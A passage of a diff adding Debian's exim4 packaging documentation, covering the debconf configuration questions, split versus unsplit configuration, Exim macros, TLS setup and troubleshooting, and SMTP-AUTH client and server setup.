+ </para>
+ </section>
+ <section> <title>local delivery only; not on a network</title>
+ <para>
+ This option is suitable for a standalone system
+ with no networking at all. Only messages for configured
+ local domains are accepted and delivered locally;
+ messages for all other domains are rejected:
+ ``Mailing to remote domains not supported''.
+ </para>
+ </section>
+ <section> <title>no configuration at this time</title>
+ <para>
+ This option disables most of Debian's automatisms
+ and leaves exim in an unconfigured state.
+ update-exim4.conf will still copy
+ <filename>/etc/exim4/exim4.conf.template</filename>
+ or concatenate the files from
+ <filename>/etc/exim4/conf.d,</filename> and will
+ not generate any configuration control macros.
+ Unless you manually edit the configuration source,
+ this will leave Exim with a syntactically invalid
+ configuration file, thus in a state where the
+ daemon won't even start.
+ </para>
+ <para>
+ Only choose this option if you know what you're
+ doing and are prepared to create your own Exim
+ configuration.
+ </para>
+ <para>
+ dpkg-conffile handling is still in place, and you
+ will be offered updates for configuration
+ snippets, as soon as they become available.
+ </para>
+ </section>
+ </section>
+ <section> <title>System mail name</title>
+ <para>
+ The "mail name" is the domain name used to "qualify"
+ mail addresses without a domain name.
+ </para>
+ <para>
+ This name will also be used by other programs. It
+ should be the single, full domain name (FQDN).
+ </para>
+ <para>
+ For example, if a mail address on the local host is
+ foo@example.org, then the correct value for this
+ option would be example.org.
+ </para>
+ <para>
+ Exim, as a rule, handles only fully qualified mail
+ addresses, that is, addresses with a local part, an @
+ sign and a domain. If confronted with an unqualified
+ address, that is, one without @ sign and without
+ domain, first thing exim does is qualify the address
+ by adding the @ sign and a domain.
+ </para>
+ <para>
+ This qualification happens for all addresses exim
+ encounters, be it sender, recipient or else.
+ </para>
+ <para>
+ The domain name used to qualify unqualified mail addresses
+ is called ``mail name'' on Debian systems and entered
+ in this debconf dialog. What you enter here will end
+ up in <filename>/etc/mailname,</filename> which is a
+ file that might be used by other programs as well.
+ </para>
+ <para>
+ In some configuration types, the package configuration
+ will offer you, at a later step, to hide this name
+ from outgoing messages by rewriting the headers.
+ </para>
+ </section>
+ <section> <title>IP addresses to listen on for incoming SMTP
+ connections</title>
+ <para>
+ Please enter a semicolon-separated list of IP addresses.
+ The Exim SMTP listener daemon will listen on all IP
+ addresses listed here.
+ </para>
+ <para>
+ An empty value will cause Exim to listen for connections
+ on all available network interfaces.
+ </para>
+ <para>
+ If this system does only receive e-mail directly from
+ local services (and not from other hosts),
+ it is suggested to prohibit external connections to the
+ local Exim daemon. Such services include e-mail
+ programs (MUSs) which talk to localhost only as well as
+ fetchmail. External connections are impossible when
+ 127.0.0.1 is entered here, as this will disable listening
+ on public network interfaces.
+ </para>
+ <para>
+ Do not change this unless you know what you are doing.
+ Altering this value could post a security risk to your
+ system. For most users, the default value is sufficient.
+ </para>
+ </section>
+ <section> <title>Other destinations for which mail is accepted</title>
+ <para>
+ Please enter a semicolon-separated list of recipient
+ domains for which this machine should consider itself
+ the final destination. These domains are commonly
+ called 'local domains'. The local hostname and 'localhost'
+ are always added to the list given here.
+ </para>
+ <para>
+ By default all local domains will be treated
+ identically. If both a.example and b.example are
+ local domains, acc@a.example and acc@b.example will
+ be delivered to the same final destination. If
+ different domain names should be treated differently,
+ it is necessary to edit the config files afterwards.
+ </para>
+ <para>
+ The answer to this question ends up in the list of
+ domains that Exim will consider local domains. Mail
+ for recipients in one of these domains will be
+ subject to local alias expansion and then delivered
+ locally in the appropriate configuration types.
+ </para>
+ </section>
+ <section> <title>Domains to relay mail for</title>
+ <para>
+ Please enter a semicolon-separated list of recipient
+ domains for which this system will relay mail, for
+ example as a fallback MX or mail gateway. This means
+ that this system will accept mail for these domains
+ from anywhere on the Internet and deliver them
+ according to local delivery rules.
+ </para>
+ <para>
+ Do not mention local domains here. Wildcards may be used.
+ </para>
+ <para>
+ The answer to this question is a list of the domains
+ for which Exim will relay messages coming in from anywhere
+ on the Internet.
+ </para>
+ </section>
+ <section> <title>Machines to relay mail for</title>
+ <para>
+ Please enter a semicolon-separated list of IP address
+ ranges for which this system will unconditionally relay
+ mail, functioning as a smarthost.
+ </para>
+ <para>
+ You should use the standard address/prefix format
+ (e.g. 194.222.242.0/24 or 5f03:1200:836f::/48).
+ </para>
+ <para>
+ If this system should not be a smarthost for any
+ other host, leave this list blank.
+ </para>
+ <para>
+ Please note that systems not listed here can still use
+ SMTP AUTH to relay through this system. If this system
+ only has clients on dynamic IP addresses that use SMTP
+ AUTH, leave this list blank as well. Do
+ <emphasis>NOT</emphasis> list 0.0.0.0/0!
+ </para>
+ <para>
+ Warning: While it is possible to use
+ host<emphasis>names</emphasis> instead of IP addresses in this
+ list extra care needs to be taken in this case.
+ <emphasis>Unresolvable names in the host list will break
+ relaying.</emphasis> See
+ Exim specification chapter <phrase>"Domain, host, address, and
+ local part lists"</phrase>
+ and the exim4-config_files man page.
+ </para>
+ </section>
+ <section> <title>IP address or host name of the outgoing
+ smarthost</title>
+ <para>
+ Please enter the IP address or the host name of a mail
+ server that this system should use as outgoing
+ smarthost. If the smarthost only accepts your mail on
+ a port different from TCP/25, append two colons and
+ the port number (for example smarthost.example::587 or
+ 192.168.254.254::2525). Colons in IPv6 addresses need
+ to be doubled.
+ </para>
+ <para>
+ If the smarthost requires authentication, please refer
+ to <xref linkend="smtp-auth"/> for notes about setting
+ up SMTP authentication.
+ </para>
+ <para>
+ Multiple smarthost entries are permitted, semicolon
+ separated. Each of the hosts is tried, in the order
+ specified (See Exim specification, chapter
+ <phrase>"The manualroute router"</phrase>, section
+ <phrase>"How the list of hosts is used"</phrase>.)
+ </para>
+ </section>
+ <section> <title>Hide local mail name in outgoing mail</title>
+ <para>
+ The headers of outgoing mail can be rewritten to make
+ it appear to have been generated on a different
+ system, replacing the local host name in From,
+ Reply-To, Sender and Return-Path.
+ </para>
+ </section>
+ <section> <title>Visible domain name for local users</title>
+ <para>
+ If you ask Exim to hide the local mail name in
+ outgoing mail, it will next ask you for the domain
+ name that should be visible for your local users.
+ These information is then used to establish the
+ appropriate rewriting rules.
+ </para>
+ </section>
+ <section> <title>Keep number of DNS queries minimal
+ (Dial-on-Demand)</title>
+ <para>
+ In normal mode of operation Exim does DNS lookups at
+ startup, and when receiving or delivering messages.
+ This is for logging purposes and allows keeping down
+ the number of hard-coded values in the configuration.
+ </para>
+ <para>
+ If this system does not have a DNS full service
+ resolver available at all times (for example if its
+ Internet access is a dial-up line using
+ dial-on-demand), this might have unwanted
+ consequences. For example, starting up Exim or
+ running the queue (even with no messages waiting)
+ might trigger a costly dial-up-event.
+ </para>
+ <para>
+ This option should be selected if this system is
+ using Dial-on-Demand. If it has always-on Internet
+ access, this option should be disabled.
+ </para>
+ </section>
+ <section><title>Delivery method for local mail</title>
+ <para>
+ Exim is able to store locally delivered mail in
+ different formats. The most commonly used ones are
+ mbox and Maildir. mbox uses a single file for the
+ complete mail folder stored in /var/mail/. With
+ Maildir format every single message is stored in a
+ separate file in ~/Maildir/.
+ </para>
+ <para>
+ Please note that most mail tools in Debian expect the
+ local delivery method to be mbox in their default.
+ </para>
+ </section>
+ <section> <title>Split configuration into small files</title>
+ <para>
+ Our packages offer two (actually three, see
+ <xref linkend="completely-different-configuration"/>)
+ possibilities:
+ </para>
+ <orderedlist>
+ <listitem>
+ <simpara>
+ Generate Exim's configuration from
+ <filename>/etc/exim4/exim4.conf.template,</filename>
+ which is basically a normal Exim run-time
+ configuration file which will be supplemented
+ with some macros generated from Debconf in a
+ post-processing step before it is passed to exim.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ Generate Exim's configuration from the
+ multiple files in
+ <filename>/etc/exim4/conf.d/</filename>. The
+ directories in
+ <filename>/etc/exim4/conf.d/</filename>
+ correspond to the sections of the Exim
+ run-time configuration file, so you should
+ easily find your way around there.
+ </simpara>
+ </listitem>
+ </orderedlist>
+ <para>
+ Splitting the configuration across multiple files
+ means that you have the actual configuration file
+ automatically generated from the files below
+ <filename>/etc/exim4/conf.d/</filename> by invoking
+ <command>update-exim4.conf</command>. Each section
+ of Exim's configuration has its own subdirectory and
+ the files in there are supposed to be read in
+ alphanumeric order.
+ <filename>router/00_exim4-config_header</filename>
+ is followed by
+ <filename>router/100_exim4-config_domain_literal</filename>,
+ ...
+ </para>
+ <para>
+ If you chose unsplit configuration,
+ <command>update-exim4.conf</command> builds the
+ configuration from
+ <filename>/etc/exim4/exim4.conf.template</filename>,
+ which is basically the files from
+ <filename>/etc/exim4/conf.d/</filename> concatenated
+ together at package build time, and thus guarantees
+ consistency on the target system.
+ </para>
+ <para>
+ In both cases, <command>update-exim4.conf</command>
+ generates exim configuration macros from the debconf
+ configuration values and puts them into
+ the actual configuration file, which is then used by
+ the Exim daemon. See the
+ <command>update-exim4.conf</command> manual
+ page for more in-depth information about this
+ mechanism.
+ </para>
+ <para>
+ Benefits of the split configuration approach:
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ it means less work for you when upgrading.
+ If we shipped one big file and modified
+ for example the Maildir transport in a new
+ version you won't have to do manual
+ conffile merging unless you had changed
+ exactly <emphasis>this</emphasis>
+ transport.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ It allows other packages (e.g. sa-exim) to
+ modify Exim's configuration by dropping
+ files into
+ <filename>/etc/exim4/conf.d</filename>.
+ This needs, however quite exact syncing
+ between the exim4 packages and the other,
+ cooperating package.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ </para>
+ <para>
+ Drawbacks of the split configuration approach:
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ It is more fragile. If files from
+ different sources (package, manually
+ changed, or other package) get out of
+ sync, it is possible for Exim to break
+ until you manually correct this. This can
+ for example happen if we decide to add a
+ new option to the Debian setup of a later
+ version, and you have already set this
+ option in a local file.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ </para>
+ <para>
+ Benefits of the unsplit configuration approach:
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ People familiar with configuring Exim may
+ find this approach easier to understand as
+ <filename>exim4.conf.template</filename>
+ basically is a complete Exim configuration
+ file which will only undergo some basic
+ string replacement before is it passed to
+ exim.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ Split-config's fragility mentioned
+ above does not occur.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ </para>
+ <para>
+ Drawbacks of the unsplit configuration approach:
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ Will require manual intervention in case of an
+ upgrade.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ </para>
+ <para>
+ If in doubt go for the unsplit config, because it is
+ easier to roll back to Debian's default configuration
+ in one step. If you intend to do many changes to the
+ Debian setup, you might want to use the split config
+ at the price of having to more closely examine the
+ config file after an update.
+ </para>
+ <para>
+ We'd appreciate a patch that uses ucf and the
+ 3-way-merge mechanism offered by that package. It
+ might be the best way to handle the big configuration
+ file.
+ </para>
+ <para>
+ If you are using unsplit configuration, have local
+ changes to <filename>/etc/exim4/conf.d/</filename>
+ (either made by yourself or by other packages dropping
+ their own routers or transports in) and want to
+ re-generate
+ <filename>/etc/exim4/exim4.conf.template</filename> to
+ activate these changes, you can do so by using
+ <command>update-exim4.conf.template</command>.
+ </para>
+ </section>
+ </section>
+ <section> <title>Access Control in the default configuration</title>
+ <para>
+ The Debian exim 4 packages come with a default configuration
+ that allows flexible access control and blacklisting of
+ sites and hosts. The acls involved can be found in
+ /etc/exim4/conf.d/acl, or in /etc/exim4/exim4.conf.template,
+ depending on which configuration scheme you use. Most
+ rejections of messages due to this mechanism happen at RCPT
+ time. Local configuration of the mechanisms happens through
+ data files in /etc/exim4 or via Exim macros that you can set
+ in /etc/exim4/conf.d/main, so there is normally no need to
+ change the files in the acl subdirectory in a split-config
+ setup. If you use the non-split config, you need to edit
+ /etc/exim4/exim4.conf.template, which, as a big
+ dpkg-conffile, won't give you any advantage of the .ifdef
+ scheme.
+ </para>
+ <para>
+ The data files are documented in the exim4-config_files man
+ page.
+ </para>
+ <para>
+ The access lists delivered with the exim4 packages also
+ contain quite a few configuration options that are too
+ restrictive to be active by default on a real-life site.
+ These are masked by .ifdef statements, can be activated by
+ setting the appropriate macros, and are documented in the
+ ACL files itself.
+ </para>
+ </section>
+ <section id='macros'> <title>Using Exim Macros to control the
+ configuration</title>
+ <para>
+ Our configuration can be controlled in a limited way by
+ setting macros. That way, you can switch on and off certain
+ parts of the default configuration and/or override values set
+ in Debconf without having to touch the dpkg-conffiles. While
+ touching dpkg-conffiles itself is explicitly allowed and wanted,
+ it can be quite a nuisance to be asked on package upgrade
+ whether one wants to use the locally changed file or the
+ file changed by the package maintainer.
+ </para>
+ <para>
+ Whenever you see an <command>.ifdef</command> or
+ <command>.ifndef</command> clause in the configuration file,
+ you can control the appropriate clause by setting the macro in
+ a local configuration file. For split configuration, you can
+ drop the local configuration file anywhere in
+ <filename>/etc/exim4/conf.d/main</filename>. Just make sure it
+ gets read before the macro is first used.
+ <filename>000_localmacros</filename> is a possible name,
+ guaranteeing first order. For a non-split configuration,
+ <filename>/etc/exim4/exim4.conf.localmacros</filename> gets
+ read before
+ <filename>/etc/exim4/exim4.conf.template</filename>. To
+ actually set the macro <varname>EXIM4_EXAMPLE</varname> to the
+ value "this is a sample", write the following line
+ </para>
+ <para>
+ EXIM4_EXAMPLE = this is a sample
+ </para>
+ <para>
+ into the appropriate file. For more detailed discussion of the
+ general macro mechanism, see the Exim specification, chapter
+ <phrase>"The Exim run time configuration file"</phrase>, for
+ details how macro expansion works.
+ </para>
+ </section>
+ <section> <title>How does this work?</title>
+ <para>
+ The script <command>update-exim4.conf</command> parses the
+ <filename>/etc/exim4/update-exim4.conf.conf</filename> file
+ and provides the configuration for the exim daemon.
+ </para>
+ <para>
+ Depending on the value of
+ <varname>dc_use_split_config</varname>, it either
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ takes all the files below
+ <filename>/etc/exim4/conf.d/</filename> and
+ concatenates them together or
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ uses <filename>exim4.conf.template</filename> as
+ input.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ The debconf-managed information from
+ <filename>/etc/exim4/update-exim4.conf.conf</filename> is
+ merged into the generated configuration file by generating a
+ number of Exim configuration macros.
+ </para>
+ <para>
+ <varname>DCsmarthost</varname>, for example, is set to the
+ value of <varname>$dc_smarthost</varname>
+ in <filename>/etc/exim4/update-exim4.conf.conf</filename>
+ which holds the answer to "Which machine will act as the
+ smarthost and handle outgoing mail?"
+ </para>
+ <para>
+ The result of these operations is saved as
+ <filename>/var/lib/exim4/config.autogenerated</filename>,
+ which is <emphasis>not</emphasis> a dpkg-conffile! Manual
+ changes to this file will be overwritten by
+ <command>update-exim4.conf</command>.
+ </para>
+ <para>
+ Please consult <command>update-exim4.conf</command> manpage
+ for more detailed information.
+ </para>
+ <para>
+ <command>update-exim4.conf</command> is invoked by the init
+ script prior to any operation that may invoke an exim process,
+ and gives an error message if the generated config file is
+ syntactically invalid. If you want to activate your changes to
+ files in conf.d/ just execute <command>invoke-rc.d exim4 restart</command>.
+ </para>
+ </section>
+ <section id="howto-change-config"><title>How do I do minor tweaks to the configuration?</title>
+ <para>
+ Some times, you want to do minor adjustments to the Exim
+ configuration to make Exim behave exactly like you want it
+ to behave. There are the following possibilities to modify
+ Exim's behavior.
+ </para>
+ <section><title>Adjustments supported by the debconf configuration</title>
+ <para>
+ If you want to modify parameters that are supported by the
+ debconf configuration, things are easy. Just invoke
+ <command>dpkg-reconfigure exim4-config</command> or hand-edit
+ <filename>/etc/exim4/update-exim4.conf.conf</filename> to your
+ liking and restart Exim.
+ </para>
+ <para>
+ You can find explanation of the debconf questions in <xref
+ linkend="debconf-questions"/>.
+ Additionally,
+ <filename>/etc/exim4/update-exim4.conf.conf</filename>
+ is documented in the <command>update-exim4.conf</command>
+ man page.
+ </para>
+ </section>
+ <section><title>Adjustments controlled by macros in the Debian Exim configuration</title>
+ <para>
+ Some aspects of the Debian Exim configuration can be
+ controlled by Exim macros. To find out about these, you
+ need basic understanding of Exim configuration. Just look
+ in our Exim configuration and see which macro needs to be
+ set to a different value to alter Exim's behavior.
+ </para>
+ <para>
+ <xref linkend="macros"/> gives a closer explanation about
+ how to do this.
+ </para>
+ </section>
+ <section><title>Making direct changes to the Debian Exim configuration</title>
+ <para>
+ You can, of course, make direct change to the
+ configuration. All configuration files in /etc/exim4 are
+ dpkg-conffiles, and you can thus edit them any time. Your
+ changes will be preserved through updates. You need to
+ know about how to configure Exim to be successful.
+ </para>
+ <para>
+ If you use unsplit configuration, edit
+ <filename>/etc/exim4/exim4.conf.template</filename>. If you use
+ split configuration, edit the Exim configuration snippets in
+ <filename>/etc/exim4/conf.d</filename>.
+ </para>
+ <para>
+ More information about how the Exim configuration is built
+ can be found in this document and in the
+ <command>update-exim4.conf</command> manual page.
+ </para>
+ </section>
+ </section>
+ <section id="completely-different-configuration"> <title>Using a completely different configuration scheme</title>
+ <para>
+ If you are an experienced Exim administrator, you might feel
+ working with our pre-fabricated configuration
+ cumbersome and complex. You might feel right if you need to
+ make more complex changes and do not need to receive updates
+ from us. This section is going to tell about how to use
+ your own configuration.
+ </para>
+ <para>
+ But, you might profit from keeping the Debian magic. Most
+ files that come with Debian exim4 are conffiles. Debian is
+ going to care about your changes and keeps them around.
+ Additionally, a lot of configuration options can be
+ overridden with a macro, which does not require you to
+ actually change our configuration file. A lot of people are
+ using our configuration scheme, and maybe it is going to
+ save you a lot of time if you decide to spend some time
+ familiarizing yourself with our scheme.
+ </para>
+ <section> <title>Override exim4-config configuration magic</title>
+ <para>
+ If you are only running a small number of systems and
+ want to completely disable Debian's magic, just take
+ your monolithic configuration file and install it as
+ <filename>/etc/exim4/exim4.conf</filename>. Exim will
+ use that file verbatim. To have something to start,
+ you can either take
+ <filename>/etc/exim4/exim4.conf.template</filename>,
+ run <command>update-exim4.conf --keepcomments --output
+ /etc/exim4/exim4.conf</command>, or use upstream's
+ default configuration file that is installed as
+ <filename>/usr/share/doc/exim4-base/examples/example.conf.gz</filename>.
+ You are going to lose all magic you get from packaging
+ though, so you need to be familiar with Exim to build
+ an actually working config.
+ </para>
+ <para>
+ <filename>/var/lib/exim4/config.autogenerated</filename>,
+ the file generated by
+ <command>update-exim4.conf</command>, is ignored as soon
+ as <filename>/etc/exim4/exim4.conf</filename> is found.
+ You should not edit
+ <filename>/etc/exim4/exim4.conf</filename> directly when
+ Exim is running, because the forked processes Exim starts
+ for SMTP receiving or queue running would use the new
+ configuration file, while the original main exim-daemon
+ would still use the old configuration file.
+ </para>
+ <para>
+ Some third-party HOWTOs that reference Debian and
+ claim to make things easy suggest dumping a
+ pre-fabricated, static config file to
+ <filename>/etc/exim4/exim4.conf</filename>. This is
+ considered bad advice by the Debian maintainers since
+ you are going to disable all updates and service magic
+ that Debian might deliver in the future this way. If
+ you do not know exactly what you're doing here, this
+ is a bad choice. We try to comment on external HOWTOs
+ found on the web in the <ulink
+ url="http://wiki.debian.org/PkgExim4UserFAQ">Debian
+ Exim4 User FAQ</ulink> to help you find out which
+ advice to follow.
+ </para>
+ </section>
+ <section> <title>Replacing exim4-config with your own exim4 configuration package.</title>
+ <para>
+ We split off Exim's configuration system (debconf,
+ <command>update-exim4.conf</command>, and the files in
+ <filename>/etc/exim4/conf.d)</filename> to a separate
+ package, exim4-config. If you want to, you can replace
+ exim4-config by something entirely different. The other
+ packages don't care. Your package needs to:
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ Provides: exim4-config-2, Conflicts:
+ exim4-config-2,exim4-config
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ drop the Exim 4 configuration either into
+ <filename>/var/lib/exim4/config.autogenerated</filename>
+ or into <filename>/etc/exim4/exim4.conf</filename>.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ Your package must provide an executable <command>update-exim4.conf</command>
+ that must be in root's path (<filename>/usr/sbin</filename> recommended). The init
+ script will invoke that executable prior to invoking the
+ actual exim daemon. If you do not need that script, have it exit 0.
+ </para>
+ <para>
+ If you want to create your own configuration packages, there is a
+ number of helpers available.
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ The Exim 4 Debian svn repository holds sources for a
+ exim4-config-simple package which contains a simple, not
+ debconf-driven configuration scheme as an example which can
+ be used as a template for a classical, exim4.conf based
+ configuration scheme.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ The Exim 4 Debian svn repository holds sources for a
+ exim4-config-medium package which contains the conf.d
+ driven configuration of the main package with the
+ debconf interaction removed. This can be used to create
+ your own non-debconf configuration package that uses the
+ conf.d mechanism.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ Finally, you can invoke the script
+ <filename>debian/config-custom/create-custom-config-package</filename>
+ which will create a new source package
+ "exim4-config-custom" with the debconf-driven config
+ scheme of exim4-config for your local modification.
+ </simpara>
+ </listitem>
+ </itemizedlist>
+ Please note that exim4-config-simple and
+ exim4-config-medium are only targeted to be used as a
+ template. The configurations contained are not
+ suitable for productive use. Of course, the Debian
+ maintainers appreciate any patches you might find
+ suitable. The scripts in exim4-config-simple and
+ exim4-config-medium may not work at all in your
+ environment. Unfortunately, they have not been
+ updated in a long time as well. We are willing to
+ accept patches.
+ </para>
+ <para>
+ See the development web page for links to the subversion
+ repository.
+ </para>
+ <para>
+ Exchanging the entire exim4-config package with
+ something custom comes particularly handy for sites
+ that have more than a few machines that are
+ similarly configured, but do not want to use the
+ original exim4-config package. Build your own
+ exim4-config-custom or exim4-config-foo, and simply
+ apt that package to the machines that need to have
+ that configuration. Future updates can then be
+ handled via the dpkg-conffile mechanism, properly
+ detecting local modifications.
+ </para>
+ <para>
+ In the future, it might be possible that Debian will
+ contain multiple flavours of Exim4 configuration.
+ However, these packages would have to be maintained
+ by someone else because the exim4 package
+ maintainers think that the scheme delivered with
+ exim4-config is the least of all evils and would
+ rather not spend the time to maintain multiple configuration
+ schemes while only actually using one. It would be
+ nice to have a configuration scheme using a
+ monolithic config file, managed by ucf in
+ three-way-merge mode. If anybody feels ready to
+ maintain it, please go ahead.
+ </para>
+ </section>
+ </section>
+ </section>
+ <section id="TLS"> <title>Using TLS</title>
+ <section> <title>Exim 4 as TLS/SSL client</title>
+ <para>
+ Both exim4-daemon-heavy and exim4-daemon-light support TLS/SSL
+ using the GnuTLS library and STARTTLS. Exim will use TLS
+ via STARTTLS <emphasis>automatically</emphasis> as client if
+ the server Exim connects to offers it.
+ </para>
+ <para>
+ This means that you will not need any special configuration if
+ you want to use TLS for outgoing mail. However, to enforce
+ TLS and successful certificate verification, a few things
+ need to be configured.
+ </para>
+ <para>
+ To enforce TLS and prevent fallback to unencrypted
+ connections, ensure that hosts_require_tls = * is in effect on
+ the respective transport. For the remote_smtp_smarthost
+ transport, this setting can be controlled via the
+ REMOTE_SMTP_SMARTHOST_HOSTS_REQUIRE_TLS macro.
+ </para>
+ <para>
+ The certificate presented by the remote host is checked
+ against the system CA certificate store
+ (<filename>/etc/ssl/certs/</filename>) and the verification
+ result is logged (CV=...). However successful certificate
+ verification is <emphasis>not enforced</emphasis> by default.
+ This can be changed by setting tls_verify_hosts = * on the
+ respective transport.
+ </para>
+ <para>
+ Another possibility would be to use DANE for certificate
+ verification. This requires support on the server side and
+ a resolver with DNSSEC support on the client side.
+ </para>
+ <para>
+ If your
+ server setup mandates the use of client certificates, you
+ need to amend your remote_smtp and/or remote_smtp_smarthost
+ transports with a tls_certificate option. This is not
+ commonly needed.
+ </para>
+ <para id="tls_client_certicate">
+ To make exim send a TLS certificate to the remote host set
+ REMOTE_SMTP_TLS_CERTIFICATE/REMOTE_SMTP_PRIVATEKEY or for
+ the remote_smtp_smarthost transport
+ REMOTE_SMTP_SMARTHOST_TLS_CERTIFICATE/REMOTE_SMTP_SMARTHOST_PRIVATEKEY
+ respectively.
+ </para>
+ <para>
+ TLS on connect is not natively supported.
+ </para>
+ </section>
+ <section> <title>Enabling TLS support for Exim as server</title>
+ <para>
+ You should have created certificates in
+ <filename>/etc/exim4/</filename> either by hand or by usage of
+ the exim-gencert (which requires openssl). exim-gencert is
+ shipped in
+ <filename>/usr/share/doc/exim4-base/examples/</filename> and
+ takes care of proper access privileges on the private key
+ file.
+ </para>
+ <para>
+ Now, enable TLS by setting the macro MAIN_TLS_ENABLE in a
+ local configuration file as described in <xref linkend="macros"/>.
+ </para>
+ <para>
+ After this configuration, Exim will advertise STARTTLS when
+ connected to on the normal SMTP ports. Some broken clients
+ (most prominent example being nearly all versions of Microsoft
+ Outlook and Outlook Express, and Incredimail) insist on doing
+ TLS on connect on Port 465. If you need to support these, set
+ SMTPLISTENEROPTIONS='-oX 465:25 -oP /run/exim4/exim.pid'
+ in <filename>/etc/default/exim4</filename> and
+ "tls_on_connect_ports=465" in the main configuration section.
+ </para>
+ <para>
+ The -oP is needed because Exim does not write an implicit pid
+ file if -oX is given. Without pid file, init script and cron
+ job will malfunction.
+ </para>
+ <para>
+ It might be appropriate to add "+tls_cipher" to
+ any log_selector statement you might already have, or to add a
+ log_selector statement setting these two options in a local
+ configuration file. (For Debian's configuration simply define
+ the MAIN_LOG_SELECTOR macro.)
+ This option makes Exim log what cipher
+ your Exim and the peer's mailer have negotiated to use to
+ encrypt the transaction.
+ </para>
+ <para>
+ Exim can be configured to ask a client for a certificate and to
+ try to verify it. Debian's exim configuration used to enable
+ this by default, but stopped doing so since it caused TLS errors
+ with a couple of popular clients (Outlook, Incredimail, etc.).
+ To enable this again set the macro MAIN_TLS_TRY_VERIFY_HOSTS to
+ the lists hosts whose certificates you want to check. (Use * to
+ try checking all hosts. The value of the macro is used to
+ populate exim's main option tls_try_verify_hosts.) You should
+ also point MAIN_TLS_VERIFY_CERTIFICATES to a file containing the
+ accepted certificates, since its default setting
+ (/etc/ssl/certs/ca-certificates.crt) can contain a large list of
+ certificates which causes the interoperabilty problems with
+ Outlook et.al. noted above.
+ </para>
+ <para>
+ The server certificate is only used for incoming connections,
+ please consult <xref linkend="tls_client_certicate"/> for the
+ corresponding outgoing conncection options.
+ </para>
+ </section>
+ <section> <title>Troubleshooting</title>
+ <para>
+ If Exim complains in an SMTP session that TLS is unavailable,
+ the Exim mainlog or paniclog frequently has exact information
+ about what might be wrong. Fo example, you might see
+ </para>
+ <para>
+ 2003-01-27 19:06:45 TLS error on connection from localhost [127.0.0.1]
+ (cert/key setup): Error while reading file)
+ </para>
+ <para>
+ showing that there has been an error while accessing the
+ certificate or the private key file.
+ </para>
+ <para>
+ Insuffient entropy available is a frequent cause of TLS
+ failures in Exim context. If Exim logs "not enough random bytes
+ available", or simply hangs silently when an encrypted
+ connection should be established, then Exim was
+ unable to read enough random data from
+ <filename>/dev/random</filename> to do whatever cryptographic
+ operation is requested. Please check that your
+ <filename>/dev/random</filename> device is setup properly.
+ </para>
+ <para>
+ You might also find "TLS error on connection to [...]
+ (gnutls_handshake): The Diffie-Hellman prime sent by the server is
+ not acceptable (not long enough)." given as reason. Exim by default
+ requires a DH prime length of 1024 bits. This requirement can be
+ downgraded by setting the tls_dh_min_bits option on the SMTP
+ transport. The setting is accessible in the Debian configuration by
+ setting the macro TLS_DH_MIN_BITS. (e.g. "TLS_DH_MIN_BITS = 768").
+ </para>
+ </section>
+ </section>
+ <section id="smtp-auth"> <title>SMTP-AUTH</title>
+ <para>
+ Exim can do SMTP AUTH both as a client and as a server.
+ </para>
+ <para>
+ AUTH PLAIN and AUTH LOGIN are disabled for connections which are
+ not protected by SSL/TLS per default. These authentication
+ methods use cleartext passwords, and allowing the
+ transmission of cleartext passwords on unencrypted connections
+ is a security risk. Therefore, the default configuration configures
+ Exim not to use and/or allow AUTH PLAIN and AUTH LOGIN over
+ unencrypted connections.
+ </para>
+ <para>
+ It is thus recommended to set up Exim to use TLS to encrypt
+ the connections. Please refer to <xref linkend="TLS"/> for
+ documentation about this. Note that most Microsoft clients
+ need special handling for TLS.
+ </para>
+ <section> <title>Using Exim as SMTP-AUTH client</title>
+ <para>
+ If you want to set up Exim as SMTP AUTH client for delivery
+ to your internet access provider's smarthost put the name of
+ the server, your login and password in
+ <filename>/etc/exim4/passwd.client</filename>. See the man
+ page for exim4-config_files(5) for more information about the
+ required format.
+ </para>
+ <para>
+ If you need to enable AUTH PLAIN or AUTH LOGIN for unencrypted
+ connections because your service provider does support neither
+ TLS encryption nor the CRAM MD5 authentication method, you can
+ do so by setting the AUTH_CLIENT_ALLOW_NOTLS_PASSWORDS macro.
+ Please refer to <xref linkend="macros"/> for an explanation of
+ how best to do this.
+ </para>
+ <para>
+ <filename>/etc/exim4/passwd.client</filename> needs to be
+ readable for the exim user (user Debian-exim, group
+ Debian-exim). It is suggested that you keep the default
+ permissions root:Debian-exim 0640.
+ </para>
+ </section>
+ <section> <title>Using Exim as SMTP-AUTH server</title>
+ <para>
+ The configuration files include many, verbosely commented,
+ examples for server-side smtp-authentication which just need
+ to be uncommented.
+ </para>
+ <para>
+ If you need to enable AUTH PLAIN or AUTH LOGIN for unencrypted
+ connections because your clients neither support TLS encryption
+ nor the CRAM MD5 authentication method, you can do so by setting
+ the AUTH_SERVER_ALLOW_NOTLS_PASSWORDS macro. Please refer to
+ <xref linkend="macros"/> for an explanation of how best to
+ do this.
+ </para>
+ <para>
+ If you want to authenticate against system passwords (e.g.
+ <filename>/etc/shadow</filename>) the easiest way is to use
+ saslauthd in the Debian package sasl2-bin. You have to add the
+ exim-user (currently Debian-exim) to the sasl group, to give
+ exim permission to use the saslauthd service.
+ </para>
+ <para>
+ The Debian exim4 maintainers consider using system login
+ passwords a bad idea for the following reasons:
+ <itemizedlist>
+ <listitem>
+ <simpara>
+ A compromised password will give access to a system account.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
+ E-Mail passwords could accidentally be transmitted unencrypted.
+ </simpara>
+ </listitem>
+ <listitem>
+ <simpara>
